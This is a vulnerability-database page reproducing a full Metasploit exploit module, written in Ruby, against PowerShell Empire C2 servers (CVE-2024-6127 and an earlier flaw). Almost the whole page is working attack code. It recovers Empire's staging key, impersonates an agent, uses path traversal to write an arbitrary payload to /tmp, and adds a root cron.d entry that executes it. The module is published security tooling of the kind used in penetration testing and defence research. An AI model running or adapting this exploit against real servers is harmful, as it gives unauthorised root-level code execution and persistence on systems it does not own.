Lucene search
K

PowerShellEmpire Arbitrary File Upload (Skywalker)

🗓️ 17 Oct 2016 14:31:39Reported by Spencer McIntyre, Erik Daguerre, ACE-Responder, Takahiro YokoyamaType 
metasploit
 metasploit
🔗 www.rapid7.com👁 46 Views

PowerShellEmpire Arbitrary File Upload vulnerability in Empire (maintained by BC Security) <v5.9.3 or original PowerShellEmpire server prior to commit f030cf62 allows arbitrary file write to attacker-controlled location

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2024-6127
29 May 201815:50
circl
CVE
CVE-2024-6127
27 Jun 202419:25
cve
Cvelist
CVE-2024-6127 BC Security Empire Path Traversal RCE
27 Jun 202419:25
cvelist
NVD
CVE-2024-6127
27 Jun 202420:15
nvd
Rapid7 Blog
Metasploit Weekly Wrap-Up 08/02/2024
2 Aug 202418:36
rapid7blog
RedhatCVE
CVE-2024-6127
5 Feb 202502:52
redhatcve
Vulnrichment
CVE-2024-6127 BC Security Empire Path Traversal RCE
27 Jun 202419:25
vulnrichment
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  GENERATOR = 2
  PRIME = '0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A087'\
  '98E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5C'\
  'B6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163'\
  'FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C3290'\
  '5E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D'\
  '2261898FA051015728E5A8AAAC42DAD33170D04507A33A85521ABDF1CBA64ECFB850458DBEF0A8AEA71575D060C7DB3'\
  '970F85A6E1E4C7ABF5AE8CDB0933D71E8C94E04A25619DCEE3D2261AD2EE6BF12FFA06D98A0864D87602733EC86A645'\
  '21F2B18177B200CBBE117577A615D6C770988C0BAD946E208E24FA074E5AB3143DB5BFCE0FD108E4B82D120A9210801'\
  '1A723C12A787E6D788719A10BDBA5B2699C327186AF4E23C1A946834B6150BDA2583E9CA2AD44CE8DBBBC2DB04DE8EF'\
  '92E8EFC141FBECAA6287C59474E6BC05D99B2964FA090C3A2233BA186515BE7ED1F612970CEE2D7AFB81BDD76217048'\
  '1CD0069127D5B05AA993B4EA988D8FDDC186FFB7DC90A6C08F4DF435C93402849236C3FAB4D27C7026C1D4DCB260264'\
  '6DEC9751E763DBA37BDF8FF9406AD9E530EE5DB382F413001AEB06A53ED9027D831179727B0865A8918DA3EDBEBCF9B'\
  '14ED44CE6CBACED4BB1BDB7F1447E6CC254B332051512BD7AF426FB8F401378CD2BF5983CA01C64B92ECF032EA15D17'\
  '21D03F482D7CE6E74FEF6D55E702F46980C82B5A84031900B1C9E59E7C97FBEC7E8F323A97A7E36CC88BE0F1D45B7FF'\
  '585AC54BD407B22B4154AACC8F6D7EBF48E1D814CC5ED20F8037E0A79715EEF29BE32806A1D58BB7C5DA76F550AA3D8'\
  'A1FBFF0EB19CCB1A313D55CDA56C9EC2EF29632387FE8D76E3C0468043E8F663F4860EE12BF2D5B0B7474D6E694F91E'\
  '6DCC4024FFFFFFFFFFFFFFFF'.to_i(16)
  STAGE0 = 1
  STAGE1 = 2
  STAGE2 = 3
  RESULT_POST = 5
  TASK_DOWNLOAD = 41

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'PowerShellEmpire Arbitrary File Upload (Skywalker)',
        'Description' => %q{
          A vulnerability existed in the new Empire (maintained by BC Security)
          prior to commit e73e883 (<v5.9.3) or the original PowerShellEmpire
          server prior to commit f030cf62 which would allow an arbitrary file
          to be written to an attacker controlled location with the permissions
          of the Empire server.

          This exploit will write the payload to /tmp/ directory followed by a
          cron.d file to execute the payload.
        },
        'Author' => [
          'Spencer McIntyre', # Vulnerability discovery & original Metasploit module
          'Erik Daguerre',    # Original Metasploit module
          'ACE-Responder',    # Patch bypass discovery & Python PoC
          'Takahiro Yokoyama' # Update Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2024-6127'], # patch bypass
          ['URL', 'https://blog.harmj0y.net/empire/empire-fails/'], # original http://www.harmj0y.net/blog/empire/empire-fails/ is not found.
          ['URL', 'https://aceresponder.com/blog/exploiting-empire-c2-framework'], # patch bypass
          ['URL', 'https://github.com/ACE-Responder/Empire-C2-RCE-PoC/tree/main'] # patch bypass
        ],
        'Payload' => {
          'DisableNops' => true
        },
        'Platform' => %w[linux python],
        'Targets' => [
          [ 'Python', { 'Arch' => ARCH_PYTHON, 'Platform' => 'python' } ],
          [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ],
          [ 'Linux x64', { 'Arch' => ARCH_X64, 'Platform' => 'linux' } ]
        ],
        'DefaultOptions' => { 'WfsDelay' => 75 },
        'DefaultTarget' => 0,
        'DisclosureDate' => '2016-10-15',
        'Notes' => {
          'Stability' => [ CRASH_SAFE, ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, ],
          'Reliability' => [ REPEATABLE_SESSION, ]
        }
      )
    )

    register_options(
      [
        Opt::RPORT(8080),
        # original
        OptString.new('TARGETURI', [ false, 'Base URI path', '/' ]),
        OptString.new('STAGE0_URI', [ true, 'The resource requested by the initial launcher, default is index.asp', 'index.asp' ]),
        OptString.new('STAGE1_URI', [ true, 'The resource used by the RSA key post, default is index.jsp', 'index.jsp' ]),
        OptString.new('PROFILE', [ false, 'Empire agent traffic profile URI.', '' ]),
        # patch bypass
        OptEnum.new('CVE', [true, 'The vulnerability to use', 'CVE-2024-6127', ['CVE-2024-6127', 'Original']]),
        OptString.new('STAGE_PATH', [ true, 'The Empire\'s staging path, default is login/process.php', 'login/process.php' ]),
        OptString.new('AGENT', [ true, 'The Empire\'s communication profile agent', 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'])
      ]
    )
  end

  def check
    @staging_key = get_staging_key
    return Exploit::CheckCode::Safe if @staging_key.nil?

    Exploit::CheckCode::Appears
  end

  def aes_encrypt(key, data, include_mac: false)
    cipher = OpenSSL::Cipher.new('aes-256-cbc')
    cipher.encrypt
    iv = cipher.random_iv
    cipher.key = key
    cipher.iv = iv
    data = iv + cipher.update(data) + cipher.final

    digest = OpenSSL::Digest.new('sha1')
    data << OpenSSL::HMAC.digest(digest, key, data) if include_mac

    data
  end

  def create_packet(res_id, data, counter = nil)
    data = Rex::Text.encode_base64(data)
    counter = Time.new.to_i if counter.nil?

    [ res_id, counter, data.length ].pack('VVV') + data
  end

  def reversal_key
    # reversal key for commit da52a626 (March 3rd, 2016) - present (September 21st, 2016)
    [
      [ 160, 0x3d], [ 33, 0x2c], [ 34, 0x24], [ 195, 0x3d], [ 260, 0x3b], [ 37, 0x2c], [ 38, 0x24], [ 199, 0x2d],
      [ 8, 0x20], [ 41, 0x3d], [ 42, 0x22], [ 139, 0x22], [ 108, 0x2e], [ 173, 0x2e], [ 14, 0x2d], [ 47, 0x29],
      [ 272, 0x5d], [ 113, 0x3b], [ 82, 0x3b], [ 51, 0x2d], [ 276, 0x2e], [ 213, 0x2e], [ 86, 0x2d], [ 183, 0x3a],
      [ 24, 0x7b], [ 57, 0x2d], [ 282, 0x20], [ 91, 0x20], [ 92, 0x2d], [ 157, 0x3b], [ 30, 0x28], [ 31, 0x24]
    ]
  end

  def rsa_encode_int(value)
    encoded = []
    while value > 0
      encoded << (value & 0xff)
      value >>= 8
    end

    Rex::Text.encode_base64(encoded.reverse.pack('C*'))
  end

  def rsa_key_to_xml(rsa_key)
    rsa_key_xml = "<RSAKeyValue>\n"
    rsa_key_xml << "  <Exponent>#{rsa_encode_int(rsa_key.e.to_i)}</Exponent>\n"
    rsa_key_xml << "  <Modulus>#{rsa_encode_int(rsa_key.n.to_i)}</Modulus>\n"
    rsa_key_xml << '</RSAKeyValue>'

    rsa_key_xml
  end

  def get_staging_key
    # patch bypass
    if datastore['CVE'] == 'CVE-2024-6127'
      res = send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path, 'download/python/')
      })
      return unless res && res.code == 200

      match = /IV\+'(.*)'\.encode/.match(res.body)
      return match[1].bytes if match

      return
    end

    # STAGE0_URI resource requested by the initial launcher
    # The default STAGE0_URI resource is index.asp
    # https://github.com/adaptivethreat/Empire/blob/293f06437520f4747e82e4486938b1a9074d3d51/setup/setup_database.py#L34
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, datastore['STAGE0_URI'])
    })
    return unless res && res.code == 200

    @staging_key = Array.new(32, nil)
    staging_data = res.body.bytes

    reversal_key.each_with_index do |(pos, char_code), key_pos|
      @staging_key[key_pos] = staging_data[pos] ^ char_code
    end

    return if @staging_key.include? nil

    # at this point the staging key should have been fully recovered but
    # we'll verify it by attempting to decrypt the header of the stage
    decrypted = []
    staging_data[0..23].each_with_index do |byte, pos|
      decrypted << (byte ^ @staging_key[pos])
    end
    return unless decrypted.pack('C*').downcase == 'function start-negotiate'

    @staging_key
  end

  def write_file(path, data, session_id, session_key, server_epoch)
    if datastore['CVE'] == 'CVE-2024-6127'
      write_file_cve_2024_6127(path, data, session_id, session_key)
      return
    end

    # target_url.path default traffic profile for empire agent communication
    # https://github.com/adaptivethreat/Empire/blob/293f06437520f4747e82e4486938b1a9074d3d51/setup/setup_database.py#L50
    data = create_packet(
      TASK_DOWNLOAD,
      [
        '0',
        session_id + path,
        Rex::Text.encode_base64(data)
      ].join('|'),
      server_epoch
    )

    if datastore['PROFILE'].blank?
      profile_uri = normalize_uri(target_uri.path, %w[admin/get.php news.asp login/process.jsp].sample)
    else
      profile_uri = normalize_uri(target_uri.path, datastore['PROFILE'])
    end

    res = send_request_cgi({
      'cookie' => "SESSIONID=#{session_id}",
      'data' => aes_encrypt(session_key, data, include_mac: true),
      'method' => 'POST',
      'uri' => normalize_uri(profile_uri)
    })
    fail_with(Failure::Unknown, 'Failed to write file') unless res && res.code == 200

    res
  end

  def cron_file(command)
    cron_file = 'SHELL=/bin/sh'
    cron_file << "\n"
    cron_file << 'PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin'
    cron_file << "\n"
    cron_file << "* * * * * root #{command}"
    cron_file << "\n"

    cron_file
  end

  def exploit
    vprint_status('Recovering the staging key...')
    @staging_key ||= get_staging_key
    if @staging_key.nil?
      fail_with(Failure::Unknown, 'Failed to recover the staging key')
    end
    vprint_good("Successfully recovered the staging key: #{@staging_key.map { |b| b.to_s(16) }.join(':')}")
    @staging_key = @staging_key.pack('C*')

    case datastore['CVE']
    when 'CVE-2024-6127'
      # stage0
      # This stage is unnecessary for our purposes.
      session_id = SecureRandom.alphanumeric(8).upcase
      dummy = SecureRandom.alphanumeric(8)
      send_data_to_stage(@staging_key, dummy, STAGE0, session_id)

      # stage1
      dh = OpenSSL::PKey::DH.new(
        OpenSSL::ASN1::Sequence([
          OpenSSL::ASN1::Integer(PRIME),
          OpenSSL::ASN1::Integer(GENERATOR)
        ]).to_der
      )
      if OpenSSL::PKey.respond_to?(:generate_key)
        dh = OpenSSL::PKey.generate_key(dh)
      else
        dh.generate_key!
      end
      private_key = dh.priv_key.to_i
      public_key = dh.pub_key.to_s
      res = send_data_to_stage(@staging_key, public_key, STAGE1, session_id)
      fail_with(Failure::Unknown, 'Failed to send the key to STAGE1') unless res && res.code == 200
      vprint_good('Successfully sent the key to STAGE1')

      # decrypt the response and pull out the epoch and session_key
      packet = aes_decrypt(@staging_key, res.body)
      nonce = packet[..15].to_i
      server_pub = packet[16..].to_i
      shared_secret = server_pub.pow(private_key, PRIME)
      # https://github.com/BC-SECURITY/Empire/blob/8aca42747da6cf2b0def7edede94586f6b3258e8/empire/server/common/encryption.py#L373
      # _sharedSecretBytes = self.sharedSecret.to_bytes(
      #   len(bin(self.sharedSecret)) - 2 // 8 + 1, byteorder="big"
      # )
      # 2(0b) + 1(- 2 // 8 + 1) = 3
      shared_secret = to_bytes(shared_secret, shared_secret.to_s(2).length + 3)
      sha = OpenSSL::Digest.new('sha256')
      sha.update(shared_secret)
      session_key = sha.digest
      print_good('Successfully negotiated an artificial Empire agent')

      # stage2
      sysinfo = "#{nonce + 1}|#{datastore['RHOSTS']}:#{datastore['RPORT']}||:^)|:^}|127.0.1.1|:^)|False|rekt.py|2603444|python|3.11|x86_64".encode('UTF-8')
      res = send_data_to_stage(session_key, sysinfo, STAGE2, session_id)
      fail_with(Failure::Unknown, 'Failed to communicate with STAGE2') unless res && res.code == 200
      aes_decrypt(session_key, res.body)

      server_epoch = nil
      log_path = "/var/lib/powershell-empire/empire/server/downloads/#{session_id}/agent.log"

    else
      rsa_key = OpenSSL::PKey::RSA.new(2048)
      session_id = Array.new(50, '..').join('/')
      # STAGE1_URI, The resource used by the RSA key post
      # The default STAGE1_URI resource is index.jsp
      # https://github.com/adaptivethreat/Empire/blob/293f06437520f4747e82e4486938b1a9074d3d51/setup/setup_database.py#L37
      res = send_request_cgi({
        'cookie' => "SESSIONID=#{session_id}",
        'data' => aes_encrypt(@staging_key, rsa_key_to_xml(rsa_key)),
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, datastore['STAGE1_URI'])
      })
      fail_with(Failure::Unknown, 'Failed to send the RSA key') unless res && res.code == 200
      vprint_good('Successfully sent the RSA key')

      # decrypt the response and pull out the epoch and session_key
      body = rsa_key.private_decrypt(res.body)
      server_epoch = body[0..9].to_i
      session_key = body[10..]
      print_good('Successfully negotiated an artificial Empire agent')

      log_path = '/agent.log'

    end

    payload_data = nil
    payload_path = '/tmp/' + rand_text_alpha(8)

    case target['Arch']
    when ARCH_PYTHON
      cron_command = "python #{payload_path}"
      payload_data = payload.raw

    when ARCH_X86, ARCH_X64
      cron_command = "chmod +x #{payload_path} && #{payload_path}"
      payload_data = payload.encoded_exe

    end

    print_status("Writing payload to #{payload_path}")
    write_file(payload_path, payload_data, session_id, session_key, server_epoch)

    cron_path = '/etc/cron.d/' + rand_text_alpha(8)
    print_status("Writing cron job to #{cron_path}")

    write_file(cron_path, cron_file(cron_command), session_id, session_key, server_epoch)
    print_status('Waiting for cron job to run, can take up to 60 seconds')

    register_files_for_cleanup(cron_path)
    register_files_for_cleanup(payload_path)
    # Empire writes to a log file location based on the Session ID, so when
    # exploiting this vulnerability that file ends up in the root directory.
    register_files_for_cleanup(log_path)
  end

  def build_routing_packet(meta = 0, enc_data = ''.b, session_id = '00000000')
    data = session_id + [2, meta, 0, enc_data.bytes.length].pack('C2SL')
    rc4_iv = SecureRandom.random_bytes(4)
    key = rc4_iv + @staging_key
    rc4_enc_data = Rex::Crypto.rc4(key, data)
    rc4_iv + rc4_enc_data + enc_data
  end

  def aes_encrypt_then_hmac(key, data)
    data = aes_encrypt(key, data)
    mac = OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha256'), key, data)
    data + mac[..9]
  end

  def aes_decrypt(key, data)
    mac = data[-10..]
    sha256_digest = OpenSSL::Digest.new('sha256')
    expected = OpenSSL::HMAC.digest(sha256_digest, key, data[..-11])[..9]
    unless OpenSSL::HMAC.digest(sha256_digest, key, mac) == OpenSSL::HMAC.digest(sha256_digest, key, expected)
      raise 'Invalid ciphertext received.'
    end

    size = key.length * 8
    fail_with(Failure::Unknown, 'AES key width must be 128 or 256 bits') unless size == 128 || size == 256

    # Create the required cipher instance
    aes = OpenSSL::Cipher.new("AES-#{size}-CBC")
    # Generate a truly random IV

    # set up the encryption
    aes.decrypt
    aes.key = key
    aes.iv = data[..15]

    # decrypt!
    aes.update(data[16..-11]) + aes.final
  end

  def compress(data)
    start_crc32 = Zlib.crc32(data) & 0xFFFFFFFF
    comp_data = Zlib::Deflate.deflate(data)
    Base64.strict_encode64([start_crc32].pack('N') + comp_data)
  end

  def build_response_packet(tasking_id, packet_data)
    packet_type = [tasking_id].pack('S')
    total_packet = [1].pack('S')
    packet_num = [1].pack('S')
    result_id = [1].pack('S')
    packet_data = Base64.strict_encode64(packet_data)
    if packet_data.length % 4 != 0
      packet_data += '=' * (4 - packet_data.length % 4)
    end
    length = [packet_data.length].pack('L')
    packet_type + total_packet + packet_num + result_id + length + packet_data
  end

  def to_bytes(num, length = 1, little_endian: false)
    order = little_endian ? (0...length) : (0...length).to_a.reverse
    bytes_array = order.map { |i| (num >> i * 8) & 0xff }
    bytes_array.pack('C*')
  end

  def write_file_cve_2024_6127(path, data, session_id, session_key)
    path = path.split('/').join('\\')
    packet = build_response_packet(
      TASK_DOWNLOAD,
      [
        '0',
        Array.new(50, '..').join('\\') + path,
        data.length.to_s,
        compress(data)
      ].join('|')
    )
    send_data_to_stage(session_key, packet, RESULT_POST, session_id)
  end

  def send_data_to_stage(session_key, packet, task_id, session_id)
    enc_packet = aes_encrypt_then_hmac(session_key, packet)
    data = build_routing_packet(task_id, enc_packet, session_id)
    res = send_request_cgi({
      'data' => data,
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, datastore['STAGE_PATH']),
      'headers' => { 'Cookie' => datastore['AGENT'] }
    })
    res
  end

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation